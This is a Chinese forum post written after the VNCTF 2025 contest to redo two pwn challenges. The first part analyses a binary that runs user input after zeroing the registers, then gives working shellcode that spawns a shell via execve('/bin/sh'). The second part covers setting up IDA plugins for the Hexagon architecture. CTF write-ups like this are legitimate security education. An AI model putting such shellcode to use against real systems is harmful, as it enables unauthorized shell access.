首页
社区
课程
招聘
[原创]VNCTF-2025-赛后复现
发表于: 2025-3-3 12:58 2034

[原创]VNCTF-2025-赛后复现

2025-3-3 12:58
2034

赛后简单复现一下

image-20250113134711544

PWN

签到

日常检查一下

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
llq@llq-virtual-machine:~$

只有canary是关的

ida打开看一下main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]
 
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("hello hacker");
  puts("try to show your strength ");
  buf = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  read(0, buf, 0x16uLL);
  mprotect(buf, 0x1000uLL, 7);
  execute(buf);
  return 0;
}

刚开始以为就是一个绕过、重定位

但是注意看一下execute()函数

看一眼汇编

.text:00000000000011C9
.text:00000000000011C9
.text:00000000000011C9 ; void __fastcall execute(__int64)
.text:00000000000011C9                 public execute
.text:00000000000011C9 execute         proc near               ; CODE XREF: main+CA↓p
.text:00000000000011C9
.text:00000000000011C9 var_30          = qword ptr -30h
.text:00000000000011C9
.text:00000000000011C9 ; __unwind {
.text:00000000000011C9                 endbr64
.text:00000000000011CD                 push    rbp
.text:00000000000011CE                 mov     rbp, rsp
.text:00000000000011D1                 push    r15
.text:00000000000011D3                 push    r14
.text:00000000000011D5                 push    r13
.text:00000000000011D7                 push    r12
.text:00000000000011D9                 push    rbx
.text:00000000000011DA                 mov     [rbp+var_30], rdi
.text:00000000000011DE                 mov     rdi, [rbp+var_30]
.text:00000000000011E2                 xor     rax, rax
.text:00000000000011E5                 xor     rbx, rbx
.text:00000000000011E8                 xor     rcx, rcx
.text:00000000000011EB                 xor     rdx, rdx
.text:00000000000011EE                 xor     rsi, rsi
.text:00000000000011F1                 xor     r8, r8
.text:00000000000011F4                 xor     r9, r9
.text:00000000000011F7                 xor     r10, r10
.text:00000000000011FA                 xor     r11, r11
.text:00000000000011FD                 xor     r12, r12
.text:0000000000001200                 xor     r13, r13
.text:0000000000001203                 xor     r14, r14
.text:0000000000001206                 xor     r15, r15
.text:0000000000001209                 xor     rbp, rbp
.text:000000000000120C                 xor     rsp, rsp
.text:000000000000120F                 mov     rdi, rdi
.text:0000000000001212                 jmp     rdi

当开始没看懂这个是干啥的,主要注意的是rsp会被置零。

这里直接是复现j1ya师傅的,他建议直接打ret2syscall

这里复习一下

execve("/bin/sh", NULL, NULL)

第一个参数要设置为/bin/sh,也是就rdi

后两个参数分别是rsi,rdx,因为是NULL就不设置了

最后就是系统调用号的设置,因为是64位,翻一下笔记

image-20250211163123744

1
2
3
4
5
6
7
shellcode=asm(
'''
mov al,59
add rdi,8
syscall
'''
)+b'/bin/sh\x00'

然后正常打即可

image-20250211164358817

hexagon

这个直接是两眼一黑

日常检查一下

1
2
3
4
5
6
7
8
9
10
llq@llq-virtual-machine:~$ checksec main
[!] Could not populate PLT: AttributeError: arch ('em_qdsp6') must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv32', 'riscv64', 's390', 'sparc', 'sparc64', 'thumb', 'vax']
[*] '/home/llq/main'
    Arch:       em_qdsp6-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
    Stripped:   No
llq@llq-virtual-machine:~$

不认识的架构,直接搜一下

image-20250211183321012

image-20250211183301653

大概扫一眼,看见了用于ida,想着要下一下插件

方法1

这里我找了几篇文章看了看

文章1

文章2

这里我开始找的还是比较麻烦的。

首先根据文章1,进行文件下载下来按照正常readme按照即可

这里讲一下踩坑点

image-20250212133009099

1
2
python -m pip install setuptools
python setup.py install
  • 敲这个命令的时候要注意要在内置的idapython里面敲,安装在ida内置的python里面要不然会报错找不到hexagondisasm包。

  • 解决安装后,笔者这里还遇到了disassembler模块引用找不到,这里找到安装hexagondisasm包路径如下:

1
\.\.\IDA_Pro_7.7_max\IDA_Pro_7.7\python38\Lib\site-packages\hexag00n-0.1-py3.8.egg\hexagondisasm

修改如下:

1
from . import disassembler

image-20250212133521630

  • 就在笔者以为大功告成的时候我们会发现,有一个函数居然找不到引用

image-20250212134736256

  • 因为笔者的ida的版本是7.5以上,这个函数是被弃用了,也是又找了找,终于在文章2找到替代的hexagon.py文件,成功替换之后也是打开了这个异架构文件,注意勾选的时候选择一下即可

image-20250212135150905

  • 然后我们就成功的打开了

image-20250212135310681

方法2

但是!!!!

看完wp之后你会发现这里还有一个更简单的插件,也就是有师傅直接提供了dll。

image-20250212135528687

其实仔细看的开头的文章时,就应该看见这个的,只不过笔者,开始就找错了方向,一条路走到黑了

只能说


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回